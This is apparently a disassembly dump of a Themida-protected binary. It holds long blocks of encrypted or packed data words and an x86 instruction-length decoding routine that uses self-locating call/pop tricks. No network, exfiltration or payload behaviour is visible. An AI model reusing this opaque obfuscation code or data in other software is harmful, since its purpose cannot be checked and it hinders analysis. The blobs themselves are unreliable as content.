		dd 0F2CF5B89h, 0CCF4B0A6h, 0C1602516h, 65800F34h, 25135B09h
		dd 0AC110AAh, 70445803h, 0E175AAE9h, 0CD71B5h, 0E5F70000h
		dd 2F7F5A17h, 25E5015Eh, 0A294FAD8h, 888EDA37h,	0C197F34Eh
		dd 70263C01h, 553B1B86h, 5961CE0Dh, 52B0050Dh, 0A593F9D9h
		dd 76C82BE1h, 36050D56h, 0A3BEC60Eh, 0AD471D43h, 3721774Ch
		dd 563AFC7Fh, 4A7A050Dh, 0A07A9C9Ah, 0D56EF57h,	0C787AF05h
		dd 845E074Dh, 79DFB4B6h, 959BE0D8h, 7FD5CD50h, 7A00C06Ah
		dd 34B71CF9h, 7C84AC0Fh, 29E3B0D6h, 35147ACEh, 3CD6DE09h
		dd 4C94C0DDh, 69E0B491h, 9109C30h, 0AD0F6EE4h, 44000007h
		dd 2DF2761h, 0F5687026h, 0A8A5CD9Bh, 60FD054Bh,	0E8095107h
		dd 4C18756Eh, 86CA2924h, 0D187E37Eh, 287E5489h,	4AB54FC0h
		dd 3015CF4h, 0A2562CB4h, 51CB1341h, 43B59BF8h, 98FE4303h
		dd 95D0AAB2h, 936C267Fh, 0F34C1DAh, 930C0A3Ah, 30AC12Fh
		dd 667CDD67h, 80749030h, 0E175BA99h, 0C141B5h, 0A2870000h
		dd 0FE181E44h, 0CDDC3470h, 0AE64C9DBh, 0DEDE94Dh, 0C999A905h
		dd 0CB4D1B74h, 95362309h, 256F4CEBh, 6CD24F71h,	0E3A3279Ch
		dd 0DABB700h, 5A006605h, 44C7DF32h, 5C3D3B6Dh, 60241244h
		dd 0AC06F038h, 0D427FDA6h, 0F34F03Bh, 8953BB8Bh, 0F7401A5Bh
		dd 9355C2Ah, 43116DCCh,	3DD7DF83h, 0FF95C3DCh, 0B4540262h
		dd 62A4815Ch, 72E4B48Fh, 3F7DC132h, 0F53D0503h,	0EF693F18h
		dd 0C9E67FA7h, 6B091057h, 6C298F5h, 1C730000h, 0CB29244Ch
		dd 84E07D85h, 7E578AD2h, 320FC22Ah, 83FF1E66h, 9510760h
		dd 43ABFDD4h, 9EE6AC8Eh, 0D53D6343h, 0D95DDE7Ah, 99030153h
		dd 41A2B309h, 3016CB13h, 0A2A8026Ah, 0FE181E44h, 0A345DE70h
		dd 0D373F7CCh, 0DA22684Eh, 0D3EA119h, 0D151B705h, 0F9ADABF1h
		dd 18181BB1h, 640F3181h, 4BAB865Ch, 260FD05h, 1A48DA5Ch
		dd 1BB08359h, 0BB093885h, 6DF928Bh, 0E75D0914h,	64386h
		dd 0CD9BF200h, 648A8A5h, 530563FEh, 0ABF1D60Bh,	0E7AD8E43h
		dd 9F047E9Fh, 538ED682h, 5D82070h, 0FE137B29h, 0F5AAB298h
		dd 525EE053h, 0B61E0301h, 1E44A23Ch, 0F359B918h, 0E37E9205h
		dd 7A2C0883h, 0C080C8FCh, 785E3084h, 2360CA12h,	0EAAFDA6Bh
		dd 7, 1A55E6Eh,	0BCDA0000h, 50DCBFEh, 0C175C698h, 81050DCBh
		dd 14425CB1h, 0EB88DE74h, 0A5829F31h, 0E1CC2FFFh, 550F3174h
		dd 7C5AB76Dh, 839D7C16h, 46B163D5h, 3015EF0h, 825880B0h
		dd 15E0DB1h, 0A5654D03h, 0C52B0ADh, 0C99FFB56h,	5FB51F19h
		dd 10AA4C06h, 15E9F27h,	0B87EF903h, 0F803015Eh,	5C0C34C8h
		dd 387072DFh, 0DA37D209h, 0B4CF468Eh, 6009139Bh, 57693EAh
		dd 0A8BF0000h, 1F75E8F0h, 0D02C2149h, 82E37E86h, 7E5BB6DEh
		dd 3733C22Ah, 0FD0553ACh, 375F0160h, 42AAF8DAh,	99E1B78Fh
		dd 2D916206h, 6D030151h, 44A20FE5h, 63FE181Eh, 0AEE65000h
		dd 5D0363FEh, 74DAA87h,	1370E147h, 0CBDA5CDFh, 0AA9A050Dh
		dd 865F462h, 69E0C15Ch,	93D3450Bh, 0DF3BED6Bh, 1F7BD0D5h
		dd 54AF8295h, 99F94404h, 0F44719B3h, 50DCB42h, 7A923202h
		dd 0DA6BB390h, 107AAFh,	5EFE0000h, 0ABh, 6B4D74FAh, 3F6F10C0h
		dd 7F95F56Fh, 9F936C26h, 0FF0F3174h, 263C1DB7h,	9DF56870h
		dd 0E1E741B7h, 0E5441EB4h, 280BDB89h, 93DE105h,	66FB91A1h
		dd 0DF325A00h, 8E3003C7h, 0CE050DCBh, 0EEB8BEE6h, 1BE1BBF8h
		dd 240A7E87h, 0C7223F19h, 3FEFA791h, 747D9A65h,	0E5CD0F34h
		dd 17905D6Ch, 0C8A59B03h, 48Ch,	0FE0642A5h, 375F0163h
		dd 44ACFADAh, 9CE4A889h, 28306441h, 75564D09h, 2F0AC72Fh
		dd 0E2FC1179h, 51B1ACB4h, 882CE30Bh, 15017AFh, 75CF5703h
		dd 1675Eh, 0CF74FA00h, 8D310244h, 0CD050D29h, 4DB27BE5h
		dd 957BE1A1h, 0CA6C267Fh, 88AF2564h, 20E0E44Fh,	3116CFC3h
		dd 0CD87AF0Fh, 61D2166Ch, 3013CDDh, 56D959Dh, 250B28Fh
		dd 0B1E7FF42h, 0BEE7ED47h, 83301BE4h, 0AC94093Dh, 0C73B1BF6h
		dd 0DA9C274h, 0D187E305h, 85ED151Dh, 45B66A48h,	50DA9F1h
		db 0B1h, 81h
word_594F42	dw 0DF59h		; DATA XREF: ___:off_438100o
		dd 8C461F75h, 0A9B509EAh, 0CDF5050Dh, 0A9922417h, 0E2D2050Dh
		dd 78C69822h, 0F2E3767h, 0B7B45494h, 0F34F956h,	440869C0h
		dd 71E8D884h, 3181B5Ah,	0BDC9A49Ah, 74000003h, 322F3711h
		dd 0E57880D6h, 58B5DD8Bh, 10CD157Bh, 0F8196137h, 5C08657Eh
		dd 96FAD934h, 0E1B7934Eh, 386E4499h, 5AA57FD0h,	30150E4h
		dd 0A2463CA4h, 0B9181E44h, 0C059F359h, 8EEBEE0h, 9E1CB8Fh
		dd 0D59EA529h, 31BE1207h, 3C1BE109h, 86AFDA8Dh,	4A1A4EABh
		dd 73F5h, 43E57300h, 0CBE84EA9h, 98A8050Dh, 0DCB239Bh
		dd 0FE536305h, 541B79Dh, 1A99CF45h, 64060793h, 0DC70F59h
		dd 34ABDC32h, 9E347C0Fh, 0EBF3A583h, 0A90D368h,	0CE94F203h
		dd 5DAB2614h, 8ADDD55Eh, 4618B2DAh, 0AAF41F5h, 91310103h
		dd 70E6B08Ch, 30F1Dh, 4BED8700h, 0AAF56E8h, 2D2E1603h
		dd 30AAF89h, 0F584FCBBh, 23DFC594h, 0BABCE2C6h,	5802C20Ah
		dd 241240A2h, 0EFF75DB5h, 0C84E1472h, 92F66949h, 0A67C84CCh
		dd 3E38684Bh, 4053BDB0h, 9AC263A1h, 2BFBAD87h, 18B2E3E1h
		dd 3410A21Fh, 64D2E20Fh, 0A71F18B2h, 86030A72h,	487CFAA0h
		dd 5FDC8CB4h, 30A72E3h,	0B8BEE4C2h, 0AFA9FFD9h,	0A114FC21h
		dd 0F948BF17h, 0D692179Dh, 3017FAF2h, 0F7B5E202h, 25h
		dd 267F957Dh, 0C1DA936Ch, 0A3A0F34h, 0B399F950h, 209A1513h
		dd 68030AC1h, 0BA998074h, 41B5E175h, 0CDh, 1E44A287h, 2770FE18h
		dd 434AFE7Ah, 0EFC855F5h, 0C422BFB9h, 0AA8B330Ch, 4DAA050Dh
		dd 135B6B07h, 85EB425h,	0A6C273E0h, 0F554050Dh,	55031C9Fh
		dd 0FD7BA3E3h, 2E0419C9h, 0E5FD1078h, 0F9EFB9BFh, 2815E6BCh
		dd 980F348Ah, 0ACBA40A8h, 0B1E25DF7h, 41093554h, 6546DB71h
		dd 0DB7DD73Fh, 33CE658h, 0CE9EA605h, 0B9971673h, 0F53D69EFh
		dd 1055811Ch, 24B9BF09h, 1F0h, 127A2E01h, 0ABB3E5FFh, 0F80056B6h
		dd 30580C65h, 4C94C0DDh, 0D132B1ADh, 83E67B83h,	7E58B5DDh
		dd 350DC028h, 0EC88076Fh, 156AB13h, 817BEB03h, 791341A2h
		dd 59DF81E0h, 82D4302Dh, 7F578AC2h, 5ED97329h, 50DCBD8h
		dd 0CBF9BDBEh, 89B9050Dh, 0F51DCDF5h, 0F043E57Fh, 50DCB4Eh
		dd 0AC66260Eh, 0D427FDA6h, 0F34C193h, 3D54373h,	9583C92Eh
		dd 0C14EF043h, 260E030Ah, 6DCD2EFEh, 4C030AC1h,	0AB362076h
		dd 0A1F7CC4Fh, 2D35FF79h, 206E2C7h, 5CBA97AAh, 0B3F608F6h
		dd 7A39F59Bh, 8A6320AAh, 926FB5E1h, 318576B2h, 71030AD8h
		dd 571F1941h, 0B3A8B7h,	0A2AC0000h, 0B9181E44h,	0D40E085Ch
		dd 9D4D1B75h, 0DC7119Eh, 7AE2C005h, 82E1563Ch, 0D2F57B05h
		dd 91C1A2BCh, 43D92169h, 790488EEh, 0A60D2C0Bh,	0E37E2E56h
		dd 0C95BDD83h, 3700DA9Bh, 0F340A06h, 0DC668EB6h, 0C437EDB6h
		dd 935DB78h, 0D32EE4CCh, 7FC730F6h, 3F0503B8h, 0AAA7CFF7h
		dd 0A1021B49h, 830910D9h, 0D2F08Dh, 0C630000h, 0FBD9345Ch
		dd 0B4904D95h, 6E479AE2h, 223FD23Ah, 93CF6E76h,	19613710h
		dd 53BBEDC4h, 0EEF65CBEh, 254D1373h, 0C96DCE6Ah, 89030155h
		dd 41A2A319h, 0BF51CB13h, 0DCBFABCh, 0DA8ABA05h, 0D1396F47h
		dd 0F80E67Bh, 6C3C6434h, 1E44A2F6h, 0F359B918h,	0F8D831EBh
		dd 9316743h, 2408810Fh,	0A9BBA6FDh, 7D6BA161h, 81916238h
		dd 0F10F310Bh, 86710BC1h, 3012130h, 2151E556h, 21110301h
		dd 4CAF654Dh, 30121EAh,	6CCA9AAAh, 0A7CF95EDh, 86291FEDh
		dd 0C4B541D0h, 0AF43E5Bh, 4A1AE735h, 4FC99FF7h,	411EA795h
		dd 161919F3h, 66EDF576h, 0F6D0268Eh, 40166CFEh,	87CD2538h
		dd 7D230091h, 1F95EDFBh, 0D921774Fh, 0FE782E04h, 39Fh
		dd 0FF792500h, 1B1D4BA2h, 4F258BEh, 6DEBB995h, 55C395ECh
		dd 0BBBDEBC4h, 0A197FDDEh, 8B8DD330h, 0FE782E0Eh, 0D95F0163h
		dd 0E0895032h, 405h, 42D00h, 4870000h, 1C895C24h, 0E3895324h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 51243C89h,	0C181E189h
		dd 4, 8704E983h, 895C240Ch, 5150242Ch, 0AA460CB9h, 59C8896Dh
		dd 2023FD0Dh, 0F206354Ch, 0C7896BA6h, 49106858h, 24890000h
		dd 24048124h, 4, 4EC835Dh, 8F243C89h, 2C8B0845h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 56243C8Bh,	0C681E689h
		dd 4, 4C681h, 34870000h, 23E95C24h, 0FFFFFADDh,	1F153F01h
		dd 0CF7E7F15h, 52064A80h, 9FB8B8D9h, 0C503060Ch, 563EE0FFh
		dd 6E5D33F4h, 34047BB8h, 854002E1h, 37CE7A08h, 886B1965h
		dd 8B112079h, 25E94452h, 0D7837271h, 71933684h,	0E6F4015Bh
		dd 0D84D0DA9h, 4C4C21CAh, 0D94437E7h, 0ED686679h, 0AFDE0FE9h
		dd 0D7C4743Ch, 595C54C1h, 0C60B7C4Ch, 205A4DE8h, 1F1804DEh
		dd 86076F5Eh, 26C8636Fh, 1F8E5F61h, 0A88B4313h,	0B74D39D6h
		dd 0C08B6BDFh, 10E9h, 82BBB000h, 45B90C69h, 0B4E61DDBh
		dd 6347FA1Fh, 1BD8345h,	60731h,	0BD830975h, 6070A55h, 50197400h
		dd 0B8C08B53h, 3FCh, 2BAD8589h,	9D8D0607h, 609B3F2h, 585BD3FFh
		dd 0A55BD83h, 74000607h, 0B8535017h, 3FCh, 2BAD8589h, 9D8D0607h
		dd 609B0E1h, 585BD3FFh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0B5C35242h, 21B031C5h, 40C8F97Eh, 8CEA8162h
		dd 8B2AF5FBh, 0B0D281C0h, 836D77F1h, 71995BDh, 840F0106h
		dd 8Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h
		dd 4BC35646h, 274C561Dh, 498DF381h, 0BD8378C9h,	607294Dh
		dd 57850F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 7188C352h, 2588D281h
		dd 83F53A34h, 732B9BDh,	840F0006h, 82h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 40C35545h, 0DAFF7A54h
		dd 9FBAAF13h, 0DFE9FFB6h, 66000002h, 71D7CB81h,	1C8C0Fh
		dd 11E80000h, 7F000000h, 0A97349FFh, 459793F4h,	79BBFE9h
		dd 0ED369055h, 0EB31AFBBh, 5B72h, 90B30000h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D5C35242h, 9E3B5BEAh
		dd 850F8B9Eh, 2, 42CED38Bh, 0F1AD1236h,	7A020FBCh, 0FD256C36h
		dd 27BFD6B5h, 7C15604Ch, 0F70DB0B0h, 1E573BD5h,	0F743B49Bh
		dd 565E5232h, 1F85CEF6h, 0F768B0B3h, 7CD931EEh,	0A01CBC11h
		dd 0F70DA15Ah, 8B9FA3B3h, 787CAB6Eh, 5A08EA91h,	99712EA7h
		dd 9D3399A4h, 0F4DCE6B3h, 0D71AB0B3h, 7E5373EDh, 768294C7h
		dd 0EE4794F7h, 0B1A1B0B3h, 57B173E5h, 603420A8h, 7CEC3BD5h
		dd 0A21ADA73h, 0F70DB35Bh, 34DB90B3h, 0D32F39EEh, 0D3E531B7h
		dd 0F7D0ADB7h, 343DF5B3h, 0FE3DEC51h, 4E50850Fh, 5DBEF928h
		dd 0E103BF23h, 9743B0B3h, 0F7A1BD5Ah, 34A34BB3h, 0E7E7AD89h
		dd 61F4DC2h, 0AF4DB843h, 0FEB6E0D2h, 67EA0DF8h,	0F89407BCh
		dd 985FCB2h, 0AF2E3A4Fh, 0F76ABCB6h, 0A434DAB3h, 0F71AB35Bh
		dd 345690B3h, 0D3DA39E8h, 0D30731B7h, 0F7A1ABB7h, 3483F3B3h
		dd 0F7988BBh, 0AC9585AEh, 0F71AB75Ah, 0FB36E1B3h, 453AE040h
		dd 7C25B838h, 9B50B6Bh,	7CB68F8Eh, 0F7024CFBh, 0F73758E2h
		dd 0AE3AB0B3h, 0BB84E970h, 0B307B497h, 0F759B497h, 0A6E0B0B3h
		dd 76FC1C70h, 10AD8BCBh, 0D42F6709h, 0F71B0880h, 0F767B0B3h
		dd 0F78558E2h, 0AE63B0B3h
		dd 0BB28E970h, 0B351B497h, 0F77EB497h, 0A675B0B3h, 7441A270h
		dd 1F5D6938h, 0F786B0B4h, 63C10CF3h, 970A8FA4h,	96B0D1D3h
		dd 0FBE1EBD2h, 0B7A40B97h, 7B7CCF25h, 0F285BF6Ah, 9186B0B3h
		dd 866A5A32h, 0F8A57145h, 0F7D02B36h, 0AEB83AB3h, 77E43BD5h
		dd 7215D88Ah, 0F70DB063h, 1FD7B0D9h, 0F743B0B0h, 0AE62E993h
		dd 0F3F4FC3Ah, 0F34CF432h, 0F734B0A7h, 54D9E1F2h, 450CC938h
		dd 0F77931F6h, 0F8C3B0B3h, 0F7A11331h, 30A503B3h, 0FBCA9D36h
		dd 0F734B1B5h, 0A11ADAB3h, 0F70DB35Bh, 34D890B3h, 0D33739EDh
		dd 0D3E531B7h, 0F7D0A7B7h, 343EF6B3h, 25E62372h, 1ECD07BCh
		dd 0F70DB03Dh, 9E6F4739h, 9D43B0B3h, 0F449E5B3h, 0D7D0B0B3h
		dd 7E3573EEh, 763094DFh, 0E11E94F7h, 0B20DB0B3h, 0A72073E6h
		dd 4DB43A1Ah, 849104ABh, 0F7DB59EAh, 890CB0B3h,	0DC2E65F5h
		dd 0DBA27B77h, 8E8ED6FEh, 73894FB8h, 0F743B09Bh, 30773BD5h
		dd 0FB729D36h, 0F768B1B5h, 783BE6B3h, 0F71AB0A0h, 0F70DBD5Bh
		dd 88A02DB3h, 76F730AAh, 0B6419F83h, 0AD8ADB30h, 0F76159FBh
		dd 7DDBB0B3h, 0E6498D51h, 1E6FDB32h, 0F786B0B9h, 0EC595503h
		dd 0F9328D11h, 7E69245Dh, 7A5B5B3Ah, 0FB924636h, 0F6A73DB5h
		dd 0CC0BBC16h, 0C781C44Bh, 0B08A61BCh, 0F7CB4558h, 0F7D358E2h
		dd 0AE48B0B3h, 0BBBDE970h, 0B39BB497h, 0F714B497h, 0A6C7B0B3h
		dd 55B6FA70h, 1E78ABF4h, 0F7D0B0A0h, 35A5131Bh,	0A8DB3F91h
		dd 7B9473D4h, 0B6E97555h, 9D1429ECh, 0F4ABE6B3h, 0D7A1B0B3h
		dd 7E8E73EDh, 766C94C7h, 0EE3094F7h, 0B11AB0B3h, 0C85573E5h
		dd 0E7548911h, 20F4BFE4h, 621C33E8h, 0F6D6B7AAh, 0F72C34BCh
		dd 0F8DCB0B3h, 781AB0B3h, 26BA6B14h, 8C3FDAE3h,	0D03D17CFh
		dd 342033E0h, 0BE505545h, 0BAD533E8h, 0F732B79Ah, 0F70635BCh
		dd 4002B0B3h, 4E3B3369h, 0F745B781h, 0F79834BCh, 2150B0B3h
		dd 0F4E3BF98h, 7734B0B3h, 6F36870h, 9D0DB0B3h, 0F46EE6B3h
		dd 0D743B0B3h, 7EFF73EDh, 76D494C7h, 0EA6C94F7h, 0B134B0B3h
		dd 0CD1273E5h, 678DA47h, 0C31D0E29h, 74194CE1h,	0F0B8250Eh
		dd 72DFB1B5h, 0F768B038h, 1F65B0D9h, 0F71AB0B0h, 0AECEE993h
		dd 0F3A2FC3Ah, 0F367F432h, 0F7A1B0AAh, 0B213E1F2h, 0CCB78528h
		dd 0FFB1BFB1h, 971AB0B3h, 4E6BD1D3h, 0AAE791BBh, 1F15B0D9h
		dd 0F7A1B0B0h, 0A913EE93h, 0F34CC43Ah, 0F310F432h, 0F71AB0A5h
		dd 83CEE6F5h, 1E452A76h, 0F743B0BFh, 4EE7BA5Bh,	8305701Ch
		dd 8295735Fh, 0A2DD5105h, 9D1AB0B3h, 0F4E5E1B3h, 0D786B0B3h
		dd 7E1A73EAh, 76A594FFh, 0EFD494F7h, 0B668B0B3h, 22FC73E2h
		dd 9126C89Fh, 0AAB0F709h, 1FD3B0D9h, 0F743B0B0h, 0AA62ED93h
		dd 0F3F4DC3Ah, 0F34CF432h, 0F734B0A4h, 16D9E5F6h, 0F86D4915h
		dd 7189600Ch, 0F743B0B0h, 38637B33h, 92CB0AD5h,	55350D3Eh
		dd 7AB9B6BFh, 0F1161670h, 0CD51AD0Bh, 760383C8h, 0DC45B7B4h
		dd 7E69717Ch, 7A5B5B3Ah, 0FB924636h, 0F6A73DB5h, 0CC0BBC16h
		dd 0C781C44Bh, 0B08A61BCh, 0F305E983h, 2DBD83A4h, 60CA2h
		dd 8D8D0D74h, 6074DB4h,	1B8h, 40E1FF00h, 0A3C3BBF5h, 0E8835DFBh
		dd 51006A2Dh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 7063C403h, 860F4F98h, 2,	0C08BF38Ah, 68A0Fh
		dd 0E3810000h, 555F988Fh, 3101BD83h, 75000607h,	55BD8309h
		dd 6070Ah, 53501974h, 0FCB8C08Bh, 89000003h, 7217D85h
		dd 599D8D06h, 0FF0609B4h, 83585BD3h, 70A55BDh, 17740006h
		dd 0FCB85350h, 89000003h, 7217D85h, 0FA9D8D06h,	0FF0609B0h
		dd 6A585BD3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 53E7C351h, 0FDA6543h, 1687h, 11E900h
		dd 27900000h, 2BAAC285h, 0F0E02B4h, 3D43EB4Ah, 8B97990Ah
		dd 1C8E9C0h, 88880000h,	7 dup(88880041h), 41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 10000h, 14h dup(0)
		dd 80C30000h, 7577ED63h, 10000h, 11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 60CA998h, 0E585C760h
		dd 60CA8h, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 60CA8E9h
		dd 6, 24E9h, 0ED858D00h, 50060CA8h, 0A93D858Dh,	5650060Ch
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	0CA8E985h
		dd 0B5036106h, 60CA8E9h, 0A8E5858Bh, 0C35D060Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_595DC9
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_595DD5
; ---------------------------------------------------------------------------


loc_595DC9:				; CODE XREF: Themida_:00595DB2j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_595DD5:				; CODE XREF: Themida_:00595DC4j
		push	ebx
		push	esi
		push	edi


loc_595DD8:				; CODE XREF: Themida_:00595E2Dj
					; Themida_:00595E49j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_595DEB:				; CODE XREF: Themida_:00595E12j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60CAA4Fh
		lea	ebp, [ebp+60CA8C5h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_595E18
		inc	cl
		cmp	cl, 0Bh
		jb	loc_595DEB


loc_595E18:				; CODE XREF: Themida_:00595E07j
		cmp	cl, 0Bh
		jz	loc_595E75
		cmp	al, 66h
		jnz	loc_595E56
		cmp	byte ptr [ebp-5], 0
		jnz	loc_595DD8
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_595E4E
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_595DD8
; ---------------------------------------------------------------------------


loc_595E4E:				; CODE XREF: Themida_:00595E3Bj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_595E56:				; CODE XREF: Themida_:00595E23j
		cmp	al, 67h
		jnz	loc_595DD8
		cmp	byte ptr [ebp-6], 0
		jnz	loc_595DD8
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_595DD8
; ---------------------------------------------------------------------------


loc_595E75:				; CODE XREF: Themida_:00595E1Bj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_595EA1
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_595EA6
; ---------------------------------------------------------------------------


loc_595EA1:				; CODE XREF: Themida_:00595E80j
		movzx	edi, al
		shr	edi, 1


loc_595EA6:				; CODE XREF: Themida_:00595E9Cj
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60CAB07h
		lea	ebp, [ebp+60CA7C5h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_596028
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_595F6C
		dec	ecx
		jz	loc_595F4F
		dec	ecx
		jnz	loc_595FBF
		cmp	byte ptr [ebp-2], 0
		jnz	loc_595FBB
		cmp	byte ptr [ebp-5], 0
		jz	loc_595F2E
		mov	byte ptr [ebp+0Bh], 2


loc_595F2E:				; CODE XREF: Themida_:00595F24j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60CAB93h
		mov	dword ptr [ebp+60CA8E5h], 1
		pop	ebp
		jmp	loc_595FBF
; ---------------------------------------------------------------------------


loc_595F4F:				; CODE XREF: Themida_:00595F09j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_595F99
		cmp	byte ptr [ebp-5], 0
		jz	loc_595F99
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_595F99
; ---------------------------------------------------------------------------


loc_595F6C:				; CODE XREF: Themida_:00595F02j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_595FB2
		cmp	byte ptr [ebp-5], 0
		jz	loc_595FA1
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_595F99
		mov	[ebp+0Bh], cl


loc_595F99:				; CODE XREF: Themida_:00595F53j
					; Themida_:00595F5Dj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_595FBF
; ---------------------------------------------------------------------------


loc_595FA1:				; CODE XREF: Themida_:00595F7Aj
		cmp	dl, 5
		jnz	loc_595FBF
		mov	[ebp+0Bh], dl
		jmp	loc_595FBF
; ---------------------------------------------------------------------------


loc_595FB2:				; CODE XREF: Themida_:00595F70j
		cmp	dl, 6
		jnz	loc_595FBF


loc_595FBB:				; CODE XREF: Themida_:00595F1Aj
		mov	byte ptr [ebp+0Bh], 3


loc_595FBF:				; CODE XREF: Themida_:00595F10j
					; Themida_:00595F4Aj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_595FED
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_595FCF:				; CODE XREF: Themida_:00595FE5j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_595FCF
		mov	esi, edx


loc_595FED:				; CODE XREF: Themida_:00595FC2j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_596022
		cmp	edi, 7Fh
		ja	loc_596022
		test	bl, 38h
		jnz	loc_596022
		cmp	byte ptr [ebp-7], 0
		jz	loc_59601C
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_59601F
; ---------------------------------------------------------------------------


loc_59601C:				; CODE XREF: Themida_:0059600Dj
		push	1
		pop	eax


loc_59601F:				; CODE XREF: Themida_:00596017j
		mov	[ebp-1], al


loc_596022:				; CODE XREF: Themida_:00595FF1j
					; Themida_:00595FFAj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_596028:				; CODE XREF: Themida_:00595ED2j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_596053
		dec	eax
		dec	eax
		jz	loc_596049
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_59605B
; ---------------------------------------------------------------------------


loc_596049:				; CODE XREF: Themida_:00596038j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_596058
; ---------------------------------------------------------------------------


loc_596053:				; CODE XREF: Themida_:00596030j
		mov	al, [ebp-3]
		add	al, 4


loc_596058:				; CODE XREF: Themida_:0059604Ej
		add	[ebp-1], al


loc_59605B:				; CODE XREF: Themida_:00596044j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_596083
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_59606E:				; CODE XREF: Themida_:0059607Dj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_59606E


loc_596083:				; CODE XREF: Themida_:00596063j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0D08Bh
		dd 0ADD58D8Dh, 6A060Ch,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 82A720C3h, 418D891Dh, 6A06071Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 4C93C350h, 0AEBEB752h, 8E9h, 0F0807500h
		dd 0CF2EF1E1h, 585C730h, 3C060706h, 6A000067h, 3E85700h
